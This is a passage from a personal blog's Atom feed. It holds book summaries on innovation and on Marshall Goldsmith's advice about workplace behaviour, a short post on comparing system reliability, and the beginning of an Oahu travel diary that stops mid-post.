<p>The right platform for innovation provides liquid networks that encourage rapid information sharing, serendipitous encounters, the formation of slow hunches, the exploration of the adjacent possible, and the exaptation of existing solutions for solving seemingly unrelated problems.</p>
<h3 id="introduction">Introduction</h3>
<ol>
<li>  
    
    
<a href="https://en.wikipedia.org/wiki/Kleiber%27s_law?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Kleiber&rsquo;s law</a>: Metabolism slows down with mass in proportion to (mass)3/4, so bigger animals have slower heartbeats. City growth (gasoline stations, road surface area, etc.) follows Kleiber&rsquo;s law as well. However, innovation in larger cities had super-linear growth (~(size)4/3) with size.</li>
<li>10/10 rule: It takes about ten years to develop new technology and another 10 for its mass adoption. The web has compressed it to 1/1.</li>
</ol>
<h3 id="the-adjacent-possible">The Adjacent Possible</h3>
<ol>
<li>Stephane Tarnier, an obstetrician in 1870, took inspiration from chicken incubators to construct human incubators. It was difficult to repair the same incubators in the developing world, and a   
    
    
<a href="https://en.wikipedia.org/wiki/Design_that_Matters#Neonurture_Infant_Incubator?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">new one</a> built out of auto spare parts turned out to be better.</li>
<li>The adjacent possible innovations come from the first-order combination of what&rsquo;s already available (&ldquo;spare parts&rdquo;).</li>
<li>The inventions whose raw material is not available are ahead of their time and fail to materialize.</li>
<li>Difference Engine was in the adjacent possible, but Analytics Engine was ahead of its time.</li>
<li>YouTube succeeded in 2005; it would have failed, if launched, in 1995.</li>
<li>The environments where the adjacent possible can be explored lead to good innovation.</li>
<li>Challenging problems don&rsquo;t clearly define their adjacent possible. The right solution combines what&rsquo;s available to solve the problem.</li>
</ol>
<h3 id="liquid-networks">Liquid Networks</h3>
<ol>
<li>Good ideas spill through connected &ldquo;liquid&rdquo; networks of individuals.</li>
<li>Lone wolves do not make most inventions and discoveries but a group of humans exchanging ideas (&ldquo;spare parts&rdquo;) and problems they are trying to solve.</li>
</ol>
<h3 id="the-slow-hunch">The slow hunch</h3>
<ol>
<li>An FBI agent filed a   
    
    
<a href="https://en.wikipedia.org/wiki/Phoenix_Memo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">memo</a> in July 2001 stating that Osama Bin Laden was sending students to attend civil aviation in the US. The memo was marked speculative. A month after his memo, Pan Am Flight Academy in Minnesota reported to the FBI about a suspicious student who had more interest in cockpit doors and communication than the actual flying. The search warrant to check his laptop was not granted until Sep 11, 2001. The two agents in Arizona and Minnesota had hunches, but only if they were connected, it would have led to something.</li>
<li>Slow hunches stay in mind and develop into an idea over time, and liquid networks allow such feelings to be passed around and intermingled with other hunches.</li>
<li>Commonplace books and nowadays, DEVONthink and Evernote, are ways of collecting hunches.</li>
<li>Tim Berner&rsquo;s Lee took inspiration from Enquire Within Upon Everything over time to develop his hunches around how the World Wide Web should look like. Similar ideas lead to the invention of products like Google News.</li>
</ol>
<h3 id="serendipity">Serendipity</h3>
<ol>
<li>Dreams and sudden sparks of thoughts explore the adjacent possible, combining various unrelated ideas and sometimes revealing unusual solutions to problems at hand.</li>
<li>Dmitri Mendeleev had a dream that elements cannot be ordered by atomic weight and suggested he use the atomic number instead.</li>
<li>Kekulé had a dream about Ouroboros, which led him to the structure of Benzene.</li>
<li>Sleeping on the problem has demonstrated a strong positive impact on problem-solving ability.</li>
<li>Large clusters of neurons occasionally fire at the same frequency, and it is positively correlated with IQ.</li>
<li>Daphnia, a water flea, reproduces asexually under normal circumstances. The reproduction, when subjected to stress (harsh weather), starts producing males and switches to sexual reproduction. It&rsquo;s a biological innovation strategy. When life is going well, it makes sense to keep doing what you are doing. Innovation is required when it&rsquo;s not.</li>
<li>Reading is an unprecedented vehicle for transmitting new ideas. But if it&rsquo;s spread over a long period, then serendipitous connections won&rsquo;t happen. Bill Gates takes annual reading vacations to read a large amount of text in a short period.</li>
<li>Internal and external idea exchange platforms are all about finding and sharing hunches. (ashishb&rsquo;s note: I feel that the author is over-emphasizing their success, the GreenXchange mentioned touted in the book is not even active anymore).</li>
</ol>
<h3 id="error">Error</h3>
<ol>
<li>Triode, Penicillin, Photography, and Pacemakers, all were results of mistakes made during the experimentation.</li>
<li>The white noise of cosmic radiation was believed to be an error till it was realized that it a proof of the Big Bang.</li>
<li>The error acts as a dark background for exhibiting the bright truth.</li>
<li>Good ideas emerge more from surroundings with a certain amount of noise and error, which leads to the exploration of the adjacent possible.</li>
<li>DNA transcoding introduces a few mutations as a way of evolution &amp; innovation.</li>
</ol>
<h3 id="exaptation">Exaptation</h3>
<ol>
<li>Gutenberg used wine-producing screw presses for printing.</li>
<li>Feathers first emerged for warmth and were later exapted for flying by birds. If they hadn&rsquo;t provided heat in the first place, the evolution would not have pushed towards making them worthy enough of flying. Therefore, exaptation is the only way for flying feathers to evolve.</li>
<li>Many scientific inventions are borrowing/exaptations from one unrelated field to another.</li>
<li>Big cities, due to their population density, support subcultures more effectively than small towns. Therefore, big cities encourage exaptation and cross-fertilization (&ldquo;collision&rdquo;) of ideas.</li>
<li>Diverse, horizontal social networks are way more innovative than uniform, vertical networks of similar individuals with shared beliefs. The latter damps the creative sparks. The individuals who maintain active links to multiple diverse groups are the real source of innovative exaptations.</li>
<li>Coffeehouses, research labs, and similar high-density places of a diverse group of individuals lead to more collisions and exaptations.</li>
<li>Cholera was believed to be airborne, but   
    
    
<a href="https://en.wikipedia.org/wiki/John_Snow#Cholera?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Snow</a>&rsquo;s work as an anesthesiologist convinced him that it could not be airborne, and he, eventually, proved that it was water-borne.</li>
</ol>
<h3 id="platforms">Platforms</h3>
<ol>
<li>Before Darwin, the belief was that atolls were dormant volcanoes, Darwin realized and proved that they are built up by reef-building coral. Coral reefs occupy 0.1% of the earth&rsquo;s surface but 25% of marine life species (Darwin&rsquo;s paradox).</li>
<li>Physicists came up with the idea of tracking Russia&rsquo;s Sputnik satellite using Doppler&rsquo;s shift, and that led to the reverse idea of determining the location of objects on the surface of the earth, which has become the modern-day GPS.</li>
<li>The most generative platforms are like stacks; the person working at building level 5 has to only understand level 4 and nothing beneath it.</li>
<li>Platforms have a natural attraction towards recycling waste and abandoned. In big cities, chain stores and restaurants occupy the new construction while bookstores, struggling artists, and antique dealers occupy the old ones. The riskier enterprises always have to go for the less valuable spaces, that&rsquo;s why, Google, Apple, and HP were started in garages. Old ideas can sometimes use new buildings, but new ideas must use old buildings, new construction is too expensive to support them.</li>
<li>Coral reefs have various species living in symbiotic relationships.</li>
</ol>
<p>Earlier, when connectivity was weak, and it was harder to capitalize on one&rsquo;s innovation, the individuals mostly drove it for a <strong>non-market</strong> motive. After the printing press, the connectivity became better, and then the most innovation was driven by the <strong>networked groups</strong> for a <strong>non-market</strong> purpose. As capitalism took a firm grip on the economies, more and more innovation was produced by the <strong>networked groups</strong> working for the [capitalistic] <strong>market.</strong> One problem with that, however, is that financial rewards discourage the open sharing of information and hence, make the networks less liquid. Both universities and the world wide web have played an active role in encouraging networked innovation with a non-market motive (&ldquo;commons&rdquo;), leading to open-source movements and open research. And even markets have benefitted from it.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">90% vs 99%</title><link href="https://ashishb.net/tech/90-vs-99/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/google-io-2017-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2017: Android Notes"/><link href="https://ashishb.net/tech/apple-vs-google-naming-of-flagship-android-vs-iphone/?utm_source=atom_feed" rel="related" type="text/html" title="Apple vs Google: Naming of flagship Android vs iPhone"/><link href="https://ashishb.net/tech/consumer-internet-why-audio-cant-be-as-big-as-text-photos-and-videos/?utm_source=atom_feed" rel="related" type="text/html" title="Consumer Internet: why audio can't be as big as photos or videos"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><link href="https://ashishb.net/tech/journey-of-online-influencers/?utm_source=atom_feed" rel="related" type="text/html" title="Journey of online influencers"/><id>https://ashishb.net/tech/90-vs-99/</id><author><name>Ashish Bhatia</name></author><published>2017-01-01T17:00:06+00:00</published><updated>2017-01-01T17:00:06+00:00</updated><content type="html"><![CDATA[<blockquote>Learn how to properly compare system reliability and understand why focusing on unreliability offers a clearer, impactful measure of performance improvement.</blockquote><p>Consider two systems: the first is 90% reliable and the second is 99%.
The wrong to compare them is to compare the reliability and conclude that the second one is 9%
(or 10% if you take 90% as the base) better. The right way to compare them is to compare the unreliability and
conclude that the first system fails in 10% of the cases while the second fails only in 1%,
making it 10X more error-prone than the second.
The reliability comparison is a vanity matrix while the unreliability comparison not only demonstrates the user perception
(&ldquo;The user saw ten crashes in past one hour&rdquo; vs &ldquo;The user saw one crash in past one hour&rdquo;) drastically but also shows
the effort that goes into making the system more reliable.</p>
<p>Note: While I am using reliability as an example of the metrics, similar metrics can be argued for.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">What got you here won't get you there by Marshall Goldsmith</title><link href="https://ashishb.net/book-summary/what-got-you-here-wont-get-you-there/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/the-subtle-art-of-not-giving-a-fck/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The subtle art of not giving a f*ck by Mark Manson"/><link href="https://ashishb.net/book-summary/fooled-by-randomness/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Fooled by Randomness by Nassim Nicholas Taleb"/><link href="https://ashishb.net/book-summary/sapiens/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Sapiens: A brief history of Humankind"/><link href="https://ashishb.net/book-summary/brandwashed/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Brandwashed by Martin Lindstorm"/><link href="https://ashishb.net/book-summary/business-adventures/?utm_source=atom_feed" rel="related" type="text/html" title='Book summary: "Business Adventures" by John Brooks'/><id>https://ashishb.net/book-summary/what-got-you-here-wont-get-you-there/</id><author><name>Ashish Bhatia</name></author><published>2017-01-01T07:21:39+00:00</published><updated>2017-01-01T07:21:39+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the key interpersonal flaws that hinder professional success and learn practical strategies for impactful change. Unlock your potential today!</blockquote><p>The   
    
    
<a href="https://amzn.to/2il9qqJ?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> presents Goldsmith&rsquo;s experience on what causes the most talented, ambitious, and successful professional to hit a career roadblock. Almost all the professionals which Goldsmith worked with had interpersonal issues of one form of the other which either didn&rsquo;t matter in the early phases of their career or the professionals were so talented that they progressed despite those issues.</p>
<blockquote>
<p>Put a comma in the wrong place and the whole sentence is screwed up.</p></blockquote>
<h2 id="why-we-resist-change">Why we resist change</h2>
<p>Successful individuals resist change, they believe in their skills and talent, they are confident and optimistic about themselves, they underestimate the role luck plays in their success. They have delusional beliefs about themselves, which ironically are empowering as well. That&rsquo;s the kind of people you want to surround themselves with. But the downside is that their optimism can lead to overcommitment. Sometimes, they fail to realize that they succeeded despite behavioral flows and not because of them. They carry a superstitious belief that their behavioral flaws made them succeed. Higher they are up in the career; more problems are behavioral since no one reaches the top without being strong in their technical skills.</p>
<blockquote>
<p>As you advance in the career, behavioral changes are the only significant changes you can make.</p></blockquote>
<h3 id="how-successful-people-respond-when-asked-to-change">How successful people respond when asked to change</h3>
<ol>
<li>They (the others) are confused</li>
<li><strong>Denial</strong>: Maybe they are not confused but their criticism does not apply to (a successful individual like ) me</li>
<li><strong>Attack</strong>: Maybe they are right but why is a smart guy like me listening to a loser like you</li>
</ol>
<blockquote>
<p>People will do something - including changing their own behavior - only if it can be demonstrated that doing so is in their best self-interest as defined by their own values.</p></blockquote>
<p>The usual motives behind self-interest are money, power, status, and popularity. And these are the hot buttons to press to make them change. Ones people realize their mistakes, they usually overestimate their weakness, just like their strengths. That discourages fixing the behavior when the fix is really a small fix.</p>
<h2 id="the-bad-habits">The bad habits</h2>
<h3 id="the-underlying-thesis-of-all-interpersonal-flaws">The underlying thesis of all interpersonal flaws</h3>
<p>All interpersonal flaws have two themes - information and emotion. Information related flaws are of two types, sharing when it is not required (eg. adding too much value) and sharing too little leading to information withholding. Emotion-related flaws are of two types, sharing when it is not appropriate (or vice versa), and conveying too much (or too little).</p>
<h3 id="information-sharing-flaws">Information-sharing flaws</h3>
<h4 id="knowing-when-to-stop">Knowing when to stop</h4>
<p>Avoiding a mistake or stopping a wrong thing is as important doing the right ones but rarely do that get a notice. Gerald Levin as a chairman of Time Warner, turned it around, only to destroy it by merging it with AOL in 2000. It turned out to be the worse merger in history. Of course, no one would hear about CEOs who avoided the dot-com mania.
<strong>Fix</strong>: Have a to-stop list, a list of things which you would stop or won&rsquo;t do.</p>
<h4 id="avoid-being-negative">Avoid being negative</h4>
<p>Not all behavior is positive or negative. To be nicer, just stop being a jerk is sufficient.
<strong>Fix</strong>: Rather than struggling for a positive response, just don&rsquo;t give a negative one.</p>
<h4 id="adding-too-much-value">Adding too much value</h4>
<p>Successful people try to add their two cents to everything. The problem here is that, even if they add say, 5% value to an idea, the overall commitment of the person goes down by a much larger amount, say 50%, since they have lost the ownership of the idea.
<strong>Fix:</strong> Don&rsquo;t try to add value unless you are certain that it&rsquo;s substantial enough. More so, higher up you are in the organization.</p>
<h4 id="passing-unnecessary-judgment">Passing (unnecessary) judgment</h4>
<p>While making judgments is essential, in many cases, passing unnecessary judgments is dangerous. When you judge others, they might decide not to help again or give a half-hearted effort (it will be judged anyway?). Something as naive as a boss saying &ldquo;great idea&rdquo; to one presenter and &ldquo;good idea&rdquo; to another can be misinterpreted as a ranking. The other problem which judgment brings is an argument. When you don&rsquo;t judge an idea, no one can argue with you.
<strong>Fix:</strong> When someone expresses an idea, just say &ldquo;Thank you. I hadn&rsquo;t considered that &ldquo;, don&rsquo;t pass any judgment.</p>
<h4 id="starting-with-no-but-or-however">Starting with No, but, or however</h4>
<p>When a sentence starts with no, but, or however, you might be making a great remark but the only thing the other person hears is that they are wrong. Nothing productive happens after that.
<strong>Fix:</strong> Start self-monitoring of how often you say these words. Try to replace them with &ldquo;Thank you&rdquo;.</p>
<h4 id="displaying-how-smart-we-are">Displaying how smart we are</h4>
<p>Being smart turns people on. Telling them &ldquo;how smart you are&rdquo;, turns them off.
<strong>Fix:</strong> When a friend comes to you with something you already know, don&rsquo;t tell them you knew that (are they suppose to second-guess before sharing something which they found to be useful with you?). Just say &ldquo;Thank you&rdquo;.</p>
<h3 id="information-withholding-flaws">Information withholding flaws</h3>
<h4 id="withholding-information">Withholding information</h4>
<p>Not sharing information breeds mistrust and suspicion. As soon as the other person learns about it, they wonder what else might be hiding. Many a time, the underlying cause of keeping others in the dark could be that you are too busy. The intentions aren&rsquo;t bad, but the outcome still is.
<strong>Fix:</strong> Share information as much as possible. It is better to err on the side of oversharing than to be seen as withholding information.</p>
<h4 id="failing-to-give-recognition">Failing to give recognition</h4>
<p>Successful people become great leaders when they learn to shift the focus from themselves to others.
<strong>Fix:</strong> Recognize people for what value they add to your life, even if it&rsquo;s their job.</p>
<h4 id="claiming-undue-credit">Claiming undue credit</h4>
<p>Claiming credit for what you haven&rsquo;t done is theft. It creates bitterness which won&rsquo;t be forgotten.
<strong>Fix</strong> Every time you feel you did it, dig further, check if it was really you or someone else, this will expose the bias of crediting yourself too much.</p>
<h4 id="failing-to-express-gratitude">Failing to express gratitude</h4>
<p>When someone shares something or says a compliment, thank them. It is obvious but a lot of time people make the mistake of either judging the compliment (&ldquo;Thanks for this effort? this wasn&rsquo;t even my shot&rdquo;) or express negativity or add too much value (see previous bad habits).
<strong>Fix:</strong> When someone helps you, compliments you, or suggests you an idea, say thank you, most of the time anything more than that does more harm than good.</p>
<h4 id="refusing-to-express-regret">Refusing to express regret</h4>
<p>The thought of apology brings in feelings of loss,  humiliation, and cession of power and control. All things which successful people hate. But refusing to apologize not only cause ill will at the workplace but other interpersonal flaws.
<strong>Fix:</strong> The bitterness against you for not apologizing lasts for long. If you made a mistake, apologize for it, you can&rsquo;t fix it but you can prevent others from being bitter against you.</p>
<h3 id="emotion-related-flaws">Emotion-related flaws</h3>
<h4 id="making-destructive-comments">Making destructive comments</h4>
<p>Destructive comments or jabs are forgotten quickly by the commenter but the target remembers them. And they remember that as your personality trait and avoid you.
<strong>Fix:</strong> Before making a comment, wonder how would it help relationship/employees/customers. If it won&rsquo;t, just don&rsquo;t make it.</p>
<h4 id="winning-too-much">Winning too much</h4>
<p>Successful people argue more to prove their point. They withhold information to get an edge. They ignore others or put them down to prove their dominance. The end goal again is winning for the sake of it even if there is no reward.</p>
<p><strong>Example:</strong> Most people would criticize a restaurant for a bad dinner despite the visit being decided by their spouse even though the relationship is more important than the food.
<strong>Fix:</strong> Stop trying to make everything a game to be won. Don&rsquo;t just think of the pleasure of prevailing over the other but the relationship lost in the process.</p>
<h4 id="speaking-when-angry">Speaking when angry</h4>
<p>Anger has value as a management tool against sleepy employees. But used too often and you get branded as a person with a temper. And that&rsquo;s the persona which clouds all other positive traits of yours.
<strong>Fix:</strong> Keep your anger to yourself. If you keep your mouth shut, no one will ever know how you feel. Most often the cause is in you than in the other person.</p>
<h4 id="negativity">Negativity</h4>
<p>If you have a habit of responding with &ldquo;let me explain why it won&rsquo;t work&rdquo;, then you are just telling the others not to come back to you again. It is equivalent of a &ldquo;Do Not Enter&rdquo; sign outside your office.
<strong>Fix:</strong> Start monitoring your statements when someone offers a helpful suggestion. Think again, before responding with a negative remark, it might just be an attempt at conveying how smart you are.</p>
<h4 id="making-excuses">Making excuses</h4>
<p>Some people make blunt excuses (&ldquo;I missed the lunch since it was marked for the wrong date&rdquo;)  while some make more subtle ones (like stereotyping themselves as an impatient person). Neither work.
<strong>Fix:</strong> Don&rsquo;t make blunt excuses just accept your mistake and fix it. Rather than making subtle excuses ask yourself why can&rsquo;t you fix it. Most likely you can, you just never questioned it.</p>
<h4 id="clinging-to-the-past">Clinging to the past</h4>
<p>Clinging to successes, failures, achievements, and mistakes of the past is a bad idea. Don&rsquo;t use the past as an excuse towards your future. Even if people understand why your past trained you to behave in a certain way, they simply won&rsquo;t accept you for continuing the same way.
<strong>Fix:</strong> Stop blaming others for your past. Accept whatever happened has happened and move on.</p>
<h4 id="playing-favorite">Playing favorite</h4>
<p>People love their dogs more than their spouses and kids. The dog&rsquo;s liking, as opposed to its importance, for its owner clearly plays a role in terms of deciding who gets more love. The weird thing about playing favorites is that we see it all the time, we see it in others (and others see it in us) but we cannot see it in ourselves.
<strong>Fix:</strong> Think about what the person&rsquo;s importance is to you (or the company) and then decide whether you like them more than that, if yes, you are playing favorites.</p>
<h4 id="not-listening">Not listening</h4>
<p>When you fail to pay attention when someone else is speaking you are effectively saying that you don&rsquo;t care about them or what they say; they are wrong, stupid, and are wasting your time. People might tolerate many other forms of rudeness but not this one.
<strong>Fix:</strong> Become a better listener.</p>
<h4 id="punishing-the-messenger">Punishing the messenger</h4>
<p>Punishing a well-intentioned messenger, even when in your opinion the value they are adding is worthless, is dangerous. It tells others not to share anything useful with you since they never know how to respond.
<strong>Fix:</strong> Never punish someone from bringing a piece of bad news or warning you of a potential pitfall. Thank them for the same instead.</p>
<h4 id="blame-everyone-except-oneself">Blame everyone except oneself</h4>
<p>No one is infallible and a desire to make oneself leads to passing the buck. Passing the buck is the flip side of claiming the credit you don&rsquo;t deserve. Saddling someone with your failure is dangerous. You might think no one sees it but everyone around you notices it.
<strong>Fix:</strong>  Never blame others for your mistakes.</p>
<h4 id="an-excessive-need-to-be-me">An excessive need to be me</h4>
<p>Some successful people suffer from an excessive desire to think about themselves. They think people want to talk to them or they have to project themselves as the sole owner of a project. This desire leads them to act in a very self-centric fashion.
<strong>Fix:</strong> Give the excessive desire to be self-centric. Remember it&rsquo;s not about you but what others think of you.</p>
<h4 id="goal-obsession">Goal Obsession</h4>
<p>Being obsessed with a goal is great but failing in the larger mission while being obsessed with a goal is not. It is equivalent of heading in the right direction but reaching the wrong town.
<strong>Fix:</strong> While being focused, don&rsquo;t forget the larger picture. Attaining goals is good but not at the expense of annoying people around you, violating laws, or engaging in any other short term tactics which would lead to a failure in the long run.</p>
<h2 id="how-we-can-change-for-the-better">How we can change for the better</h2>
<h3 id="1-get-the-feedback">1. Get the feedback</h3>
<p>Get hold of your colleagues and ask them to help you improve, now you both are responsible for the same struggle. And when they give you feedback, thank them, don&rsquo;t express your opinion (or you will never get another feedback).</p>
<p>There are four types of knowledge about us</p>
<ol>
<li>Public - known to us, known to others</li>
<li>Private - known to us, unknown to others</li>
<li>Blind spots - unknown to us, known to others</li>
<li>Unknowable - Unknown to us, unknown to others</li>
</ol>
<p>The real goal of the feedback is to find your blind spots.</p>
<blockquote>
<p>It is easier to see our problems in others then to see it in ourselves.</p></blockquote>
<ol>
<li>The indirect feedback - Make a list of people&rsquo;s casual remarks about you and try to see the meaning behind them. You will find they are giving cues to your personality flaws.</li>
<li>In a meeting, ignore the sound and see people&rsquo;s body movements as you speak.</li>
<li>Try   
    
    
<a href="https://www.nathanielbranden.com/sentence-completion-i?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">sentence completion</a>.</li>
<li>Listen to your self-aggrandizing remarks - the things you boast as your strengths might be your biggest weaknesses</li>
<li>Observe your behavior at home - People don&rsquo;t behave differently at home than they do at the office. The same personality flaws persist.</li>
</ol>
<h3 id="2-apologize">2. Apologize</h3>
<p>&ldquo;I&rsquo;m sorry. I&rsquo;ll try to do better in the future.&rdquo;. Don&rsquo;t explain it. Don&rsquo;t qualify it. Just stop there.</p>
<h3 id="3-advertise">3. Advertise</h3>
<p>It&rsquo;s a lot harder to change people&rsquo;s perception of your behavior than actually to change your behavior. It takes time and persuasion before they change their perception. Therefore, you have to actively tell them that you are trying to change for the better.</p>
<h3 id="4-listening">4. Listening</h3>
<p>Most of our success in learning from others comes from how well we listen to them. Listen with respect (no secondary activity). Think twice before you speak while listening to others, is it worth it (even if it&rsquo;s correct), is it adding sufficient value, or are you trying to show you already know that. The more you subsume your desire to shine in other person&rsquo;s eyes, the more you end up doing that. The near-great are careful about listening most of the times. The great are careful listeners all the time.</p>
<h3 id="5-expressing-gratitude">5. Expressing gratitude</h3>
<p>Learn to thank others when they, in their perception, share something valuable with you. It does not matter whether you knew it or not. It does not matter whether you find it to be useful or not.</p>
<h3 id="6-following-up">6. Following up</h3>
<p>There is a huge gap between understanding and doing something. Not everyone responds to your messages the way you intend them to. Follow-up ensures that people do what you want them to do. People don&rsquo;t get better without follow-ups. Becoming a better leader is a   
    
    
<a href="https://www.strategy-business.com/article/04307?gko=a260c&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">process</a> and not an event.</p>
<h3 id="7-feed-forward">7. Feed-forward</h3>
<p>Feedback asks about what you did. Feed-forward asks about what you can do to improve in the future. Rather than asking people just about your mistakes, ask them how you can correct them and try to act on that advice. A side benefit is that, since they gave this advice, they will be focused on helping you improve as well.</p>
<h2 id="the-rules-for-changing">The rules for changing</h2>
<ol>
<li>Behavioral changes cannot cure non-behavioral problems - Sometimes, people think problems are behavioral while the real issue might be something else. If a CFO does not know how to spin the media during bad times, then behavioral changes cannot solve that.</li>
<li>Pick the right things to change - There is a difference between miswanting and mischoosing. We want to be seen as a better person in some particular dimension of our choice. However, we cannot choose the path to success.  The wrong path will lead to failure. The only right approach is to act on the issues which the people around us suggest.</li>
<li>Don&rsquo;t delude yourself about what you really must change - Sometimes, we think that the problem is somewhere else. Eg. your colleagues think you are bad at communicating but the underlying reason is that my health is in a bad shape. These links are usually superfluous. What you really have to fix is communication with colleagues.</li>
<li>Don&rsquo;t hide from the truth you need to hear - Sometimes, we avoid negative feedback since we don&rsquo;t want to face it. We want to believe that it does not exist when it does. Facing the truth is better than living in denial.</li>
<li>The desire for ideal behavior - There is no ideal behavior. Everyone has some flaws. The desire to fix them is great. But an unhealthy desire to be perfect is bad.</li>
<li>Measure it - If you measure it, you can improve.</li>
<li>Monetize the result (as a way to measure)</li>
<li>The best time to change is now - Don&rsquo;t live in a dream that you will start the process of improving some day. Start it now.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Five days in Oahu, Hawaii</title><link href="https://ashishb.net/travel/oahu-hawaii/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/maui-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Maui, Hawaii"/><link href="https://ashishb.net/travel/kauai-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Five days in Kauai, Hawaii"/><link href="https://ashishb.net/travel/big-island-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Five days in Big Island, Hawaii"/><link href="https://ashishb.net/travel/point-roberts/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Point Roberts"/><link href="https://ashishb.net/travel/chicago/?utm_source=atom_feed" rel="related" type="text/html" title="Chicago in 2 Days"/><id>https://ashishb.net/travel/oahu-hawaii/</id><author><name>Ashish Bhatia</name></author><published>2016-12-17T17:00:39+00:00</published><updated>2016-12-17T17:00:39+00:00</updated><content type="html"><![CDATA[<blockquote>Experience Oahu&rsquo;s city life and natural beauty, from Diamond Head hikes to serene beaches. Savor local delicacies and embark on thrilling adventures!</blockquote><p>The island of Oahu, which contains the capital city of Honolulu,
is a fantastic combination of urban amenities, nature hikes, and beautiful beaches.
If you are doing only one island out of the four major islands Of Hawai&rsquo;i, then this is the one I would recommend.
I did it during Thanksgiving, which is the last week of November.
While this island is not as big as the 
<a href="/travel/big-island-hawaii/">&ldquo;big island&rdquo;</a>, public infrastructure outside the city of Honolulu is not good.
Therefore, I would recommend taking a moped rental(30-40$ a day) for a solo trip.
Roads are narrow, and the moped turns out to be a better choice than a car, both for driving and parking.
The only time a moped gave me trouble was when it rained.
Outside the city of Honolulu, there is nothing much to do after the sunset. So, plan your trip accordingly.
Do check out local food items, like Shave Ice cream and Banana bread from local markets.
But don&rsquo;t carry 
<a href="/all/bloody-banana-bread/">any</a> of it for the return journey.</p>
<figure>
    
    <a href="IMG_20131203_134439-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20131203_134439-1024x768.jpg"
         alt="A picturesque outdoor scene shows a lush green mountain landscape, featuring a large peak and a tranquil body of water. The harmonious setting suggests an idyllic location for relaxation and adventure, like hiking or enjoying nature." width="900"/> </a>
</figure>

<h2 id="day-1">Day 1</h2>
<p>I reached in the afternoon and started my journey with a relaxed but picturesque hike to the Diamond Head crater,
which overlooks the city of Honolulu.</p>
<figure>
    
    <a href="IMG_20131128_154210-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20131128_154210-1024x768.jpg"
         alt="A panoramic view of a city with rolling hills in the background" width="900"/> </a>
</figure>

<p>I checked out the Waikiki beach afterward. Since it&rsquo;s next to the city of Honolulu, you are not going to miss it.</p>
<h2 id="day-2">Day 2</h2>
<p>My plan for the second day was to spend a few hours at the   
    
    
<a href="https://www.nps.gov/valr/planyourvisit/index.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Pearl Harbor Memorial</a>.
But I underestimated the number of things to see there.
I spent the whole day till the evening checking out the various warships.
There are always guided tours going on, so definitely check them out.</p>
<p><img alt="IMG_20131129_113312" loading="lazy" src="/travel/oahu-hawaii/IMG_20131129_113312-1024x768.jpg"></p>
<h2 id="day-3">Day 3</h2>
<p>The rainfall slowed me down a bit.
I started with the   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60982-d2205134-Reviews-Mu_Ryang_Sa_Buddhist_Temple-Honolulu_Oahu_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Buddhist Temple</a> and
then spent my time connecting with a few locals to plan my &ldquo;Stairway to Heaven&rdquo; trip.
After that, I headed to Kuhio beach for a traditional Hawaiian dance   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60982-d2671501-Reviews-Kuhio_Beach_Torch_Lighting_Hula_Ceremony-Honolulu_Oahu_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">&ldquo;Hula&rdquo; ceremony</a>.
It&rsquo;s free, open to the public event every Saturday.
Don&rsquo;t pay anyone for Hula shows till you have watched this public ceremony.</p>
<figure>
    
    <a href="IMG_20131130_152404-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20131130_152404-1024x768.jpg"
         alt="An outdoor Hawaiian Hula event with dancers in traditional attire" width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20131130_182635-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20131130_182635-1024x768.jpg"
         alt="A scenic view of a lush, mountainous landscape depicting part of the Haiku Stairs hike" width="900"/> </a>
</figure>

<h2 id="day-4">Day 4</h2>
<p>&ldquo;Stairway to Heaven&rdquo; or &quot;   
    
    
<a href="https://www.yelp.com/biz/haiku-stairs-access-restricted-kaneohe?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Haiku stairs</a>&quot; is closed to the public.
A guard comes at about 4 AM at the entrance.
